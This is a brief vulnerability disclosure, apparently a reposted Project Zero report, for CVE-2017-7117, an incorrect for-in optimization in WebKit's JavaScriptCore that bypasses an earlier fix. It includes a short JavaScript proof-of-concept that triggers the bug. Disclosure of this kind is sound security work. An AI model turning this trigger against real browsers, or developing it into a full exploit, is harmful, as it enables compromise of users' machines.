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WebKit JSC Incorrect Optimization

Posted on 04 October 2017

WebKit: JSC: Incorrect for-in optimization #2

CVE-2017-7117

The following PoC bypasses the fix for the https://bugs.chromium.org/p/project-zero/issues/detail?id=1263 WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal

PoC:
function f() {
let o = {};
for (let i in {xx: 0}) {
for (i of [0]) {

}

print(o[i]);
}
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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